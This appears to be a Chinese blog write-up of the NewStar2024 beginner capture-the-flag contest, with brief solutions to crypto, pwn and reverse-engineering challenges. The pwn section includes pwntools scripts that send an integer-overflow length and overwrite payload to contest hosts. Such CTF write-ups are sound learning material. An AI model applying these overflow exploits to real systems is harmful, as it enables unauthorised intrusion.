当前位置: 首页 > news >正文

[NewStar2024]

新生赛,啊。第一周没啥过于入门了,大多数题没作也没提交。

Crypto

xor

俩值异或

base

hex-base32-base64

一眼秒了

p,q相邻开根号next求p

King

变形caeser很少见,先转小写处理最后再手搓回大小写

a = b'ecxvpdersvcdgdgezxqjql'
for j in range(26):print(j)bytes([97+(a[i]-97-j-2*i)%26 for i in range(len(a))])
#pleasedonotstoplearing
flag{PleaseDoNotStopLearing}

PWN

real_login

输入密码,NewStar!!!

game

输入100次10钱就够了

overwrite

输入负数转无符号时溢出

from pwn import *
context(arch='amd64', log_level='debug')p = remote('39.106.48.123', 25432)
#在本地不成功,远程环境就行,为啥?
p.sendlineafter(b"pls input the length you want to readin: ", str(0x800000f0).encode())
p.sendafter(b"pls input want you want to say: ", b'2'*0x36+b'\x00')
p.interactive() 

gdb

先跟进去看看s是啥就行了

from pwn import *
context(arch='amd64', log_level='debug')
p = remote('101.200.139.65', 25408)
p.sendlineafter(b"Input your encrypted data: ",b'\x5d\x1d\x43\x55\x53\x45\x57\x45\x00')
p.interactive()

Rev

begin

找啊找

base

变表base64

码表'WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/'
密文"g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc="
flag{y0u_kn0w_base64_well}

ezAndriodStudy

找啊找,还好有提示

simple_encryption

叫分段函数呗,模3得0,1,2分别加密

a = bytes.fromhex('47953448A41C358864168807146A3912A20A375C075A5660127625128E28')
a = list(a)
b = []
for i in range(len(a)):if i%3 == 0:b.append(a[i]+31)elif i%3 == 1:b.append(a[i]-41)else:b.append(a[i]^0x55)bytes(b)
#flag{IT_15_R3Al1y_V3Ry-51Mp1e}

debug

>>> a = b"0/$9-:u+\t\"7m\t$u12\x1c\x05\x01\x12&'+o>"
>>> len(a)
26
>>> from pwn import *
>>> key = b'ATRI'
>>> bytes([i^0x17 for i in xor(a,key)])
b'flag{y0u_ar3_g0od_@_Debu9}'


http://www.mrgr.cn/news/45569.html

相关文章:

  • 在spring boot项目中使用Spring Security的BCryptPasswordEncoder类进行相同密码不同密文的加密和验证
  • tensorflow快速入门--如何定义张量、定义网络结构、超参数设置、模型训练???
  • 机器学习初步【1】
  • YOLO11改进|注意力机制篇|引入MSCA注意力机制
  • 在JavaScript中,改变this指向的call,apply,bind有什么区别,原理分别是什么?
  • df 的各种用法 以及与du 的区别
  • 【Python】文件及目录
  • JavaSE - 基础语法
  • QT入门介绍篇
  • 【stm32】寄存器(stm32技术手册下载链接)
  • 远程控制软件推荐:亲测好用!
  • torch和torchvision 版本对应
  • var let const 之间的区别
  • 26. 删除有序数组中的重复项
  • 五十、架构设计经验与技巧(架构设计基本原则)
  • 银河麒麟V10安装ToDesk远程控制
  • 【C语言】关于指针各项细节以及与其他知识点关联
  • Lumerical——Eigensolver Analysis
  • Vue3中提到的Tree-shaking
  • 2024年9月30日--10月6日(ue5肉鸽结束,20小时,共2851小时)